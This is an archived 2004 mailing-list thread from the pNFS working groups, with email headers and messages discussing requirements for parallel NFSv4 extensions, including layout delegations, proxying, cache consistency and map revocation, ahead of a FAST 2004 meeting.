pNFS Operations , pnfs-nfs@yahoogroups.com In-reply-to: <7694A65B-81C2-11D8-BB3C-000A95A94F04@panasas.com> References: <7694A65B-81C2-11D8-BB3C-000A95A94F04@panasas.com> Comments: In-reply-to Garth Gibson message dated ""Mon, 29 Mar 2004 15:48:42 -0500."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: pNFS summary, v2 X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 ADVERTISEMENT In preparation for the meeting at FAST I was tasked with updating my previous workshop summary with the ideas that have been developing on the mailing lists. I'm attaching what I have. The main caveat is that these are my words about lots of peoples ideas, so I'm sure I'm not always conveying them as you may have intended. I'm sure you'll speak up where I've strayed or if I've left out important items. I made no attempt to summarize all the arguments that flowed across the list, but instead I'm giving the reader's digest of what I think we agree on, and have enumerated the issue areas. See you Wednesday. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com Attachment (not stored) pnfs_summary.v2.txt Type: text/plain >From black_david@emc.com Tue Mar 30 07:46:53 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 41595 invoked from network); 30 Mar 2004 15:46:51 -0000 Received: from unknown (66.218.66.166) by m18.grp.scd.yahoo.com with QMQP; 30 Mar 2004 15:46:51 -0000 Received: from unknown (HELO MAHO3MSX2.corp.emc.com) (128.221.11.32) by mta5.grp.scd.yahoo.com with SMTP; 30 Mar 2004 15:46:51 -0000 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Mar 2004 10:46:27 -0500 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-obj@yahoogroups.com Cc: pnfs-sbc@yahoogroups.com, pnfs-ops@yahoogroups.com, pnfs-nfs@yahoogroups.com Date: Tue, 30 Mar 2004 10:46:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.11.32 From: black_david@emc.com Subject: RE: [pnfs-reqs] pNFS summary, v2 X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT click here I looked over Brent's summary and the FMP protocol that is used in HighRoad, and turned up the following items for discussion: - The exact details of COMMIT_IND (order in which it does things) matter a lot. That's below the level of Brent's current summary, and I presume we'll get to it as we flesh out the design. - The notification functionality needs more fleshing out. Here's what FMP provides: o Recall specific extent delegation(s) o Downgrade (write to read) specific extent delegation(s) o Recall all extent delegations for a file handle o Recall all extent delegations for a filesystem o Set EOF (This is subtle, consider the case where client A sets EOF in the middle of an extent for which client B has a write delegation.) Again, this is something for further design, but I think this list is about at the level of Brent's summary. - Completion callbacks. FMP supports both server queuing of requests (completion is a notification) and server rejection of requests. Rejection supports cases where the server has a notify outstanding to the client when it receives the client request and wants to force the client to process the notify; rejection is the right thing to do because the notification (e.g., recall) may affect whether the client resubmits the same request. I agree with Brent's view that the client has to retry if the operation is rejected, however the ability to support server queuing of conflicting requests allows the server to provide some liveness/fairness assurances if the server implementer chooses to do so. In essence a ""Queued"" response from the server promises to do the operation, but not immediately, and frees a client RPC execution context for things like notification handling. - Operation ordering. There are some ordering requirements involving interaction of notifications and operations - for example, if a client responds to a recall notification and submits an operation based on having completed the notification, the server will need to process the notification completion before the client operation. I strongly favor a ""cut on the dotted line"" approach where the ordering requirements for direct data access are clearly specified as part of the extension (even if they rely on existing NFS facilities for their realization) so that it's clear what has to be done to achieve the same functionality for other distributed filesystem protocols. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- > -----Original Message----- > From: Brent Welch [mailto:bwelch@panasas.com] > Sent: Tuesday, March 30, 2004 2:39 AM > To: pnfs-obj@yahoogroups.com > Cc: pnfs-reqs@yahoogroups.com; pnfs-sbc@yahoogroups.com; pNFS > Operations; pnfs-nfs@yahoogroups.com > Subject: [pnfs-reqs] pNFS summary, v2 > > > In preparation for the meeting at FAST I was tasked with updating my > previous workshop summary with the ideas that have been developing on > the mailing lists. I'm attaching what I have. The main > caveat is that > these are my words about lots of peoples ideas, so I'm sure I'm not > always conveying them as you may have intended. I'm sure you'll speak > up where I've strayed or if I've left out important items. I made no > attempt to summarize all the arguments that flowed across the list, > but instead I'm giving the reader's digest of what I think we > agree on, > and have enumerated the issue areas. > > See you Wednesday. > > -- > Brent Welch > Software Architect, Panasas Inc > Delivering the premier storage system for scalable Linux clusters > www.panasas.com welch@panasas.com Yahoo! Groups Links >From andros@citi.umich.edu Tue Mar 30 14:08:41 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 7863 invoked from network); 30 Mar 2004 22:08:29 -0000 Received: from unknown (66.218.66.167) by m14.grp.scd.yahoo.com with QMQP; 30 Mar 2004 22:08:28 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta6.grp.scd.yahoo.com with SMTP; 30 Mar 2004 22:08:27 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 26F9E2084D; Tue, 30 Mar 2004 17:08:27 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: pnfs-obj@yahoogroups.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 30 Mar 2004 17:08:27 -0500 Message-Id: <20040330220827.26F9E2084D@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: my 10 minute FAST talk X-Yahoo-Group-Post: member; u=169434965 hi speakers i quickly describe an ASCI type cluster that uses a Scaleable Global Parallel File System (SGPFS), and quickly describe how NFSv2/v3 is currently used. then move onto using stock NFSv4.0, and where it fails, ending up with pNFS and how it can succeed. * getting rid of the NFSD on SGPFS client (a la NFSv2/v3) * enterprise desktop NFSv4.0 can access proprietary SGPFS data * high speed parallel data transfer between pNFS clusters. -->Andy >From andros@citi.umich.edu Tue Mar 30 15:33:34 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 17814 invoked from network); 30 Mar 2004 23:33:33 -0000 Received: from unknown (66.218.66.166) by m19.grp.scd.yahoo.com with QMQP; 30 Mar 2004 23:33:33 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta5.grp.scd.yahoo.com with SMTP; 30 Mar 2004 23:33:32 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id D90E7207F3; Tue, 30 Mar 2004 18:33:31 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-obj@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, pnfs-sbc@yahoogroups.com, pnfs-ops@yahoogroups.com, pnfs-nfs@yahoogroups.com Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary=""==_Exmh_-17735067940"" Date: Tue, 30 Mar 2004 18:33:31 -0500 Message-Id: <20040330233331.D90E7207F3@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: pNFS use cases for the FAST meeting, first pass! X-Yahoo-Group-Post: member; u=169434965 In preparation for tomorrows meeting at FAST, i was tasked with beginning a list of use cases for pNFS. I came up with an initial list which is attached. I know it's not complete, and i hope the descriptions are meaningful :o see you tomorrow. -->Andy Attachment (not stored) pnfs_use.txt Type: text/plain >From garth@panasas.com Tue Mar 30 23:13:14 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 15375 invoked from network); 31 Mar 2004 07:13:12 -0000 Received: from unknown (66.218.66.172) by m16.grp.scd.yahoo.com with QMQP; 31 Mar 2004 07:13:12 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 31 Mar 2004 07:13:11 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HZGBCF03; Wed, 31 Mar 2004 02:12:58 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: quoted-printable Message-Id: Content-Type: text/plain; charset=UTF-8; format=flowed To: pnfs-reqs@yahoogroups.com Date: Tue, 30 Mar 2004 23:12:41 -0800 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Requirements discussions update X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson An update on requirements discussions that have taken place on the pnfs-reqs@yahoogroups.com reflector (http://groups.yahoo.com/group/pnfs-reqs). These notes were prepared for the Wed 3/31 9am-12:30 face-to-face meeting before the pNFS BOF at FAST 2004. Though the ideas and concerns reported here are drawn from many people, including but limited to Dave Noveck, Brent Welch, David Black, Andy Adamson, Craig Everhart, Julian Satran, Tom Talpey, Benny Halevy, Gary Grider, Tyce McLarty, Dean Hildebrand, Peter Honeyman, Peter Corbett, the errors and opinions coloring this document are probably mine. garth gibson ---------------------------------------- Topics: 0.0 Defining Requirements 1.0 Minimalism 1.1 Proxying 1.2 Cache consistency 1.3 Delegation promotion & reacquisition 1.4 Layout delegations 1.5 Concurrent write 1.6 Map revocation 1.7 Separability 1.8 NTFS application semantics 2.0 NFS Append 2.1 separate read & write mappings; the ability to punch a hole 2.2 Extensible backend mappings 2.3 Group operations 2.4 Clustered server implementations 2.5 Client modified layouts ---------------------------------------- [0.0 Defining Requirements]: What is the scope of requirements subgroup doing and how is it related to the ops subgroup discussions? I am beginning to see a significant difference between a ""problem statement"" document and a ""requirements"" document. I believe that in a problem statement we can make a strong case for a set of properties and applications that are currently underserved in NFSv4, and a direction that could in one or more steps resolve some or all of the problem. Alternatively I am coming to see the detailed requirements as a compendium of the most contentious and impactful issues, how they were argued and what resolution was accepted. I can see the problem statement getting done before we have sorted out all the hard problems, or even run into all of them, so it is a good document for establishing our interests in the IETF. But I suspect that the requirements document stays open well into agreement on the specification issues. For comparison, the first NFSv4 document was called ""Design Considerations"" (rfc2624): This document is to cover the ""limitations and deficiencies of NFS version 3"". This document will also be used as a mechanism to focus discussion and avenues of investigation as the definition of NFS version 4 progresses. Therefore, the contents of this document cover the general functional/feature areas that are anticipated for NFS version 4. I propose that what we have started into in the requirements subgroup is the problem statement, and that we should be careful to not let it get bogged down in the longer term requirements resolutions. ---------------------------------------- [1.0 Minimalism]: How much additional functionality do we sacrifice to limit the changes we seek in NFSv4? On one hand, some have said that getting to one true file system, with the high performance and the manageability of federated systems that might come with out-of-band access, is worth not matching *every* feature of all existing out-of-band file systems with this first set of extensions to NFSv4. That we should bite off what we can do quickly, correctly, with a clear incremental value to NFSv4, and roadmap more aggressive changes that could bog us down, or introduce so much complexity that interoperability becomes elusive. And that we should be mindful of the reception we may get from the IETF NFS working group if we *appear* to use out-of-band as an excuse to ask for a brace of changes in other aspects of NFSv4. On the other hand, the other out-of-band file systems that are inspiring the evolution of NFSv4 have customers that may not accept any backward sets in an evolution to NFSv4. This could create the need to develop, carry and differentiate all the diverse one-off out-of-band files systems plus a new out-of-band NFSv4. Some think it makes more sense to go far enough with this first NFSv4 to simplify the marketplace by making it reasonable for various vendors to deprecate/end-of-life/begin to wean from their proprietary offering. While it is certainly conceivable that we could be designing a roadmap of solutions in detail from the start, communication among standards bodies is hard enough without the challenge of designing specs for both with and without a requirement. This is a central issue in defining the requirements for out-of-band NFSv4, or at least for defining the scope of the first set of extensions. JS: I am afraid that this text makes achieving compliance with existing out-of-band filesytems sound more complex than it might be. I see several items that we should strive to keep even in a minimalist set of requirements: ��� attribute set rich enough to enable expressing the attributes of the major local-filesytems (Unix brands and Windows) ��� access control that accommodates the access control mechanisms of the major local-filesytems and some of the popular distributed file-systems (AFS?) ��� coherency mechanisms that enable vendors to optionally implement the two major flavor of coherent file access: ��� completely coherent ��� close-to-open coherent None of those seem to me as involving major departures from NFSv4. ---------------------------------------- [1.1 Proxying]: Operations/work that can only be done out-of-band vs alternative access through the NFSv4 server for all operations/work On one hand, some suggest that a set of out-of-band clients should not have to also have a data path through the NFSv4 metadata server. One reason is that customers may not tolerate the large variability in performance between out-of-band (when the going is good) and in-band (when the server chooses not to grant or to take away a delegation) accesses. Another reason, and I paraphrase someone else here, is that it is possible to construct out-of-band metadata servers that do not have access to the data servers except through the clients -- I encourage the source of this scenario to replace my paraphrasing with a correct use case, because I find it odd to design for file servers that do not have access to the data servers. On the other hand, others have suggested that any access or work that a client can do out-of-band should be possible with one or more commands applied to the metadata server's data path. This has been proposed for coping with recalled delegations, including concurrent writing by multiple clients; retry after client access errors, provided adequate idempotency of out-of-band operations; and many alternative implementations of out-of-band clients, including legacy clients that use out-of-band never or rarely. I think this is a topic that should be argued one way or the other in the requirements document. Use cases and examples in other systems would be best. [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the full NFS-v4.0 or NFS-v4.1 protocol. JS: Is it legal for a ""compliant server"" to have serving data disabled by a local administrative function (the old ""must implement but may use"")? Otherwise an organization that wants to discourage use of data serving through the metadata server has very little it can do to enforce policy in a way that will not affect other clients (it may do serve poorly but this still affects other clients). [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to execute exactly the wire packet that an NFS-v4.x client might have sent to a SBC/OSD/NFS data server? This captures the notion that a metadata server must also be a store-and-forward proxy for every data server it manages. It requires NFS-v4.x servers implement SCSI SBC over FC, if their data servers implement it; and the same for objects and files. This only makes sense to me for NFS data servers. And it is not what I intended in my prior summary, although it is a relevant question. I would say that pNFS requirements not require Strict Proxying. [1.1.2 Functional proxying]: a file transformation achievable by an NFS-v4.x client using a set of data server operations must be a equivalently achievable using a (probably different) set of NFS-v4.x server operations This is the topic I intended to address in the last email. I believe Dave is arguing that even with metadata servers that do not have access to their data servers, the vendor of such a metadata server can construct a proprietary protocol for the metadata server to (strict) proxy data server accesses through clients that do have data server access. I am not comfortable making up a counter to this, so I exhort those that want a metadata server without data server access to speak up if they disagree. More on proxying -- suppose that a metadata server is asked to do reads or writes and it would rather not do this work (because it is busy or because its connection to storage is not as good as other nodes) -- can it ""refer"" the request to another server that is in a better position (by load or connectivity to storage) to do the work -- like a file system referral [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x client using a set of data server operations, but interrupted before completion, must be equivalently completable using a (probably different) set of NFS-v4.x server operations Some have suggested that having this property will greatly simplify the amount of spec that is devoted to out-of-band error recovery. Others have commented that a simple way to achieve this would be to require that all operations on data servers should be idempotent. ---------------------------------------- [1.2 Cache consistency]: NFSv4 delegations are not about client cache consistency; does out-of-band access require stronger cache consistency than NFSv4 provides NFSv4 cache consistency is a client function, based on testing file attributes on open and close. While a client holds a delegation, its users can close and reopen a file without recourse to the server, so inside a delegation a client cache contents for that file must be valid and up to date. However, a client cannot mandate getting a delegation on open, it must immediately (approximately) give up a delegation if it is recalled and a client has no way to reacquire a delegation on an open file after that delegation has been recalled. So we must not confuse delegations with strong cache consistency. Many of the various proprietary out-of-band file systems have much stronger client cache consistency, involving more different types and interactions of cache callbacks. Some of these differences may have been motivated by desire for differentiation, some by apps underserved by NFS cache consistency semantics, and some by the long standing designer belief that stronger semantics are theoretically better. The question we must resolve, and argue in the requirements document, is whether out-of-band access only within the NFSv4 cache consistency and delegations is not sufficient, why and how much more must/should be added before such a product is valuable. I think that application use cases should be discussed. And I caution us that most of us are the converted, coming to NFSv4 from one of these proprietary file systems, so gaining agreement amongst ourselves easily is not a good predictor of the challenge of gaining the agreement of the NFS standards working group. DB: HighRoad uses the same FMP protocol to provide both NFS-style close-to-open consistency for NFS clients and the stronger forms of consistency required by CIFS - as long as the server knows what clients have which access rights to what blocks, cache consistency strength comes down to server implementation decisions about what outstanding access rights conflict with a new request. We've actually built server prototypes that provide stronger consistency for NFS without change to either the FMP protocol or clients, but the shipped product only provides NFS-style consistency for NFS. JS: I think that if we work towards common structures for mapping and caching we might end up letting the implementer or user decide about the consistency level he wants and support all. We certainly can't afford to ignore those that require consistency beyond the close-to-open level conventionally associated with NFS especially when there are distributed or cluster file-systems that got their customers use it today (GPFS, SAN-FS). DN: mapping and caching information are distinct pieces of information in that one can change while the other does not, and if we decide to treat these two pieces of information as the same, we are going to be doing some silly things. If I write in place then my data is changing but the layout isn't. If my caching strategy to deal with multiple writers is not to cache data (which is for many applications quite reasonable) and I need the mapping information to access the data servers directly, then I don't want to have my layout delegations recalled because the data is changing. Because I am not caching I don't need or want data delegations but do need layout delegations and should be allowed to keep them when the layout is not changing. DN: In many envirnments data and layout delegations will be recalled together and so it makes sense not to have these so distinct that, for example, I am doing separate recall messages for each piece of data. But in other environments, it may make a lot of sense for me to have one guarantee (the layout won't change) and not the other (the data won't change). ---------------------------------------- [1.3 Delegation promotion & reacquisition]: must/should NFSv4 offer mechanisms for clients to possess a delegations more than once per open Delegations in NFSv4 are new, and came with significant concern about lots of complexity for not much performance, as they may do as little as avoid the client waiting for one round trip to the server on open. So, as described above with respect to cache consistency, the limitations on delegations can mean great difficulties for clients having performance requirements calling for out-of-band access mostly, or exclusively. DB: Yes, and this is a strong reason for separating ""layout"" delegations from the existing ""data"" delegations, IMHO. Consider a web or video server that is caching file opens for performance reasons - if updating the content underneath the server makes it impossible to get the direct access (""layout"") delegations back, the result is that one has to shut down and restart all the servers after the content update in order to restore performance. The sysadmin responsible for this annoying work will want to tar-and-feather the system designers who made it necessary (that would be us if we get this wrong ...). So we have begun to propose mechanisms for clients to be more aggressive about seeking, obtaining, reobtaining after a recall, and even waiting for a signal that a denied delegation is now available. This could lead to discussions of transitioning from a write delegation to a read delegation, rather than no delegation, when a second delegation is requested. We all know, or can imagine, plenty of mechanism for this type of logic -- after all, it is not far from what some systems do for cache consistency. But all of this comes with complexity, that threat to interoperability, and chips away at minimalism. DN: Downgrade in particular needs special attention. If I have a write delegation, then DELEGRETURN followed by DELEG_ASK (read), means that the data I have cached is not valid and may need to be fetched again, whereas a straight downgrade means nobody has ever had a conflicting delegation, and so allows me to do more. There are similar considerations for downgrade of a write delegation to a group-write (aka CW) delegation and downgrade of a group-write to a read delegation. ---------------------------------------- [1.4 Layout delegations]: can/should layout metadata ""ride"" on NFSv4 delegations or are new ""layout"" delegations needed If the delegations currently provided by NFSv4 are insufficient, for reasons of cache consistency or the needed to be able to reacquire a delegation in order to ensure that performance degradations can be limited, then some are suggesting that rather than proposing to change the semantics of the current delegations, we add new delegations tailored to the purpose, so called layout delegations. This is consistent with the advice we heard Dec 4 that it is much easier, and more welcomed, to add new things to NFSv4 than to change what is already there. Assuming that in response to requirements arguments, we find the existing NFSv4 delegations insufficient, then I think this topic is an implementation issue for the NFSv4 operations subgroup. But I for one would like to err on the side of fewer NFSv4 changes and slightly weaker semantics, where possible. I'd summarize a lot of discussion to say that we need new operations for layout delegations. And many are suggesting that these layout delegations should be able to cover only portions of a file, and not imply anything about the data consistency. ---------------------------------------- [1.5 Concurrent write]: write delegations now are held by exactly one client, if any; should/must NFS support multiple clients holding concurrent layout delegations One specifically excluded use case for out-of-band access is concurrent write, actually concurrent read and write, or write and write, by different clients. This is normally associated with expensive client cache consistency algorithms, but for our purposes here, the issue is managing the ordering, grouping/atomicity, and failure recovery of changes on data servers, not updating/invalidating the contents of client caches. It is certainly feasible to address out-of-band concurrent writing to data servers without addressing client cache consistency, if we so choose. I believe three folks with experience with different existing file systems referred to databases as the use case for needing concurrent write. I believe out-of-band concurrent write is an important use case to call out carefully, because a ambitious implementation of it could lead to a lot of state-maintaining messaging. Some have said that, allowing multiple clients to hold the same lock is a current need in NFSv4, and that a solution to this can provide the infrastructure for concurrent delegation of layout maps for read and overwrite (when growing the size of the file is not needed). This seems like a good operations discussion topic. DB: I understand the value of this to the self-coordinating HPC applications, but would like to see this functionality specified (assuming it is specified) as a cleanly separable option, as I think the desire to self-coordinate a shared write delegation will be limited to a small number of application spaces, like HPC. I also note Gary's comment that it's sufficient for parallel write to work in the non-overlapping case, which does not require any new concurrent write delegation as long as each client can hold an exclusive write delegation for its range. JS: I agree with Gary that handling efficiently the ""good-path"" (e.g., concurrent writers with non-overlapping regions, or single writer with readers needing only close-to-open consistency) is essential. To me it looks as all those could be better handled if we could approach mapping and caching concurrently. ---------------------------------------- [1.6 Map revocation]: can/must the NFS server be able to revoke a client's use of a map, and enforce no future use (fence off the map) NFSv4 delegations allow a broken or malicious client no additional power to damage the stored file system because state changes must go through the server. But a delegated layout map that is held and used by a broken or malicious client after the delegation has been recalled could damage the stored file system in a way that the server, by not being on the data path, has no obvious way to protect against. So there has been a call for the ability for the server to fence out a client or enforce the revocation of a client's access to a specific file or filesystem. At first glance all three data server technologies, blocks, objects and files have some solution (blocks: lun masking/acls or SAN zoning; objects: capability revocation, key replacement; files: component file acls, volatile file handles). The scope and cost of each of these mechanisms maybe dramatically different. Some would say that this is going to end up being a differentiating property of the choice of underlying data server. For example, many would say that in systems that allow out-of-band block access, the client machines must be trustworthy to respect the delegation recall message (and lease timeouts). Others would object to this weakening of the NFS server integrity. I also see this as a requirements argument. DB: I tend to take the former position, as if one cannot fence off client access, not allowing access to untrustworthy clients becomes a fallback. In the block world, while mechanisms exist to fence off access, standard means of invoking them are somewhat immature. ---------------------------------------- [1.7 Separability]: Independence vs co-dependence of layout metadata access and NFSv4 On one hand, simple ""an address per block/object/file"" maps could be represented as an array of NFSv4 attributes, manipulated using existing NFSv4 attribute accessing commands, so to reduce the amount of change to NFSv4. On the other hand, particularly for block maps of large files composed of extents, simple array indexing may be cumbersome and much bulkier than necessary. And also on the other hand, some suggest that it is desirable for the metadata access protocol to be separate from NFSv4 attribute access, so that the same metadata access protocol might be reusable under other file services. I think this topic would benefit from proposed metadata formats, particularly the SBC (block) maps. ---------------------------------------- [1.8 NTFS application semantics]: applications coded to NTFS semantics are different from those coded to POSIX and UNIX semantics NFS originated as a exported file system, whose semantics were defined by the underlying local filesystem on the file server. But since that local filesystem has almost always been UNIX or UNIX like, customers have come to think of NFS semantics as a well defined thing, not far from UNIX semantics (but with a customary list of POSIX exceptions). The semantics NTFS presents to applications using its storage is different in significant ways. Some of us see an evolution to better support for clients trying to support NTFS well to be very desirable. Others see chasing this as more than the NFS group as a whole is likely to bite off. This, and any other issues about wire protocol support for important semantics needed by different application file system interfaces (middleware exploited API extensions in databases or parallel programming systems such as MPI-IO) are also requirements topics. DB: IMHO, this is an orthogonal tarpit we should stay out of. I strongly believe that trying to extend NFSv4 so it can be just as good as CIFS for applications coded to Windows APIs should be someone else's problem. ---------------------------------------- [2.0 NFS Append]: is append semantics part of this effort, or separable? Folks think it is interesting. But it can be taken to NFSv4 directly, and not necessarily as a part of the pNFS extensions. DN: I am a big fan of this, but my experience is that it can be controversial. I'm not sure I understand why but there are some people who really don't like it. I think it may have to do with the fact that some people are uncomfortable with the idea that you can do a write (and append is a write) and have no way to valdily reflect that write your buffer cache. ---------------------------------------- [2.1 separate read & write mappings; the ability to punch a hole] SAN.FS extents come with both read and write extent mappings and block usage bitmaps. The separate read and write mappings allow for clients to participate in copy-on- write functionality - IIRC, Craig has described this. [2.1.1]: Should protocol include support for client participation in copy-on-write? A motivation for the separate arrays of block usage bits appears to be allowing clients to turn file data into holes (e.g., AIX fclear system call). [2.1.2]: Is the ability to turn valid data into a file ""hole"" (e.g., AIX fclear) at the client important to support? FMP does not support separate read mappings or usage bitmaps, and hence is not capable of involving clients in copy-on-write or allowing a client to turn valid data into a file ""hole"". DN: If we do it, should be an NFSv4 server operation too because the space recovery benefits are not unique to a block backend. There was also some confusion between holes in the data and holes in the layout map. Writing into a hole in the data changes the data, so any other client mapping that same region of the file sees or does not see the change according to the cache consistency mechanism employed. But if one client has a layout map with holes then data can be written into these holes without recalling the map because the client cannot assume or see anything about the missing part of the map. That is, are maps delegated in part or only as a whole? I think I heard strong support for delegation of map ranges as well as maps for whole files. ---------------------------------------- [2.2 Extensible backend mappings.] The precedent for our proposed multiple backends in the one IETF protocol is the GSS security framework and extensible flavors. One backend may be required, though I think the required backend is the NFSv4 metadata server that has to be able to do data access for a legacy client. ---------------------------------------- [2.3 Group operations] A cluster can be seen as one computer, so we may need to explore group operations; that is, a clientid may cover all the CPUs in a ""cluster computer."" This brings up a client with many fault domains, which is not generally a problem in NFS today. Will we need a NFSv4 metadata filer to deliver a callback to an alternative or failover address in some circumstances? DN: Suppose I have an application cluster with 1K nodes and I say ""This is really a powerful computer with a thousand (maybe two thousand) CPU's"". Now that's marketing bullshit but it isn't exactly false. I think the point is that as far as the NFS server is concerned, whether the computer that is talking to it is ""really"" a computer, i.e. it has CPU's sharing memory, or is only a computer qua marketing bullshit, i.e. a collection of cpu's that don't share memory, that use other methods to co-ordinate common activities, doesn't matter. All the server sees are the requests made and if the cluster represents itself as a single machine (i.e. in V4 does a single SETCLIENTID or in v4.1 maintains many connections bound to a single session), it is one. The server doesn't see the cluster's memory architecture. It sees an open and then use of that stateid. The fact that it comes over a different IP address doesn't disqualify it. A server might have options to check that (as a matter of security) but it isn't part of the protocol and we already have clients with multiple IP addresses. Having a thousand of them is a difference of degree (and may pose implementation issues) but I don't see a real protocol issue. BH: This is a ""clustered"" implementation of a nfsv4 client in which the v4 drivers in the client cluster are cooperating and propagating state (e.g. file handles, stateids) among each other. I believe that the server should not be able to distinguish such client from a multi-homed client that may have several ip addresses. In the nfsv4 sessions world a (clustered) client may open multiple connections to the server that are associated with the same session - this will make life for such client even easier, I hope. ---------------------------------------- [2.4 Clustered server implementations.] Talking about clustered clients brought up the issue of clustered servers. We do not think the server-to-server protocols needed for implementing clustered servers should be a part of the client protocols we are discussing herein. This might change if client protocols have to understand anything other than filesystem migration and server failover, as they do now. That is, pNFS extensions are not necessarily part of a solution to a standard clustered filer protocol. ---------------------------------------- [2.5 Client modified layouts] BH: A write layout delegation (which I'm not proposing) could be a delegation to modify the *layout*, it is theoretically possible to give a single client such exclusive access to the file layout but I think this is going one step too far from where we are right now and can be problematic with respect to interoperability. DN: I agree. This would add problems. Unless there is a big payoff, I'd stay away from it. ---------------------------------------- >From Brian.Pawlowski@netapp.com Wed Mar 31 09:02:28 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 70593 invoked from network); 31 Mar 2004 17:02:24 -0000 Received: from unknown (66.218.66.216) by m11.grp.scd.yahoo.com with QMQP; 31 Mar 2004 17:02:24 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 31 Mar 2004 17:02:24 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i2VGwYZh010906 for ; Wed, 31 Mar 2004 08:58:34 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i2VGwYbc010248 for ; Wed, 31 Mar 2004 08:58:34 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.7p1+Sun/8.11.6) id i2VGwXO28367 for pnfs-reqs@yahoogroups.com; Wed, 31 Mar 2004 08:58:33 -0800 (PST) Message-Id: <200403311658.i2VGwXO28367@tooting-fe.eng.netapp.com> In-Reply-To: from Garth Gibson at ""Mar 28, 4 11:02:27 pm"" To: pnfs-reqs@yahoogroups.com Date: Wed, 31 Mar 2004 08:58:33 -0800 (PST) X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] FACE-TO-FACE pNFS working meeting: 3/31 9am-12:30 Grand Hyatt, Dolores Rm, SF X-Yahoo-Group-Post: member; u=169504717 X-Yahoo-Profile: brianpawlowski ADVERTISEMENT I'm a little behind - will be there shortly. > Reminder, folks, > > Before the upcoming pNFS BOF at FAST Wed Mar 31, 12:30 - 2pm, in the > Dolores room of the Grand Hyatt hotel in San Francisco, the pNFS > community reached by these mailing lists will be meeting for a working > session, 9am - 12:30pm. > > Tentative agenda: > > - Requirements update and discussion (update coming from Garth) > - Operations update and discussion (update coming from Brent) > - Use cases discussion (initial use cases coming from Andy) > > See you there! > garth > > > > > > Yahoo! Groups Links > > > > > >From dhildebz@eecs.umich.edu Wed Mar 31 11:22:28 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 90049 invoked from network); 31 Mar 2004 18:08:40 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 31 Mar 2004 18:08:39 -0000 Received: from unknown (HELO smtp.eecs.umich.edu) (141.213.4.43) by mta3.grp.scd.yahoo.com with SMTP; 31 Mar 2004 18:08:39 -0000 Received: from oemcomputer (da001d1735.stl-mo.osd.concentric.net [66.236.102.199]) (authenticated bits=0) by smtp.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i2VI7X3e003579 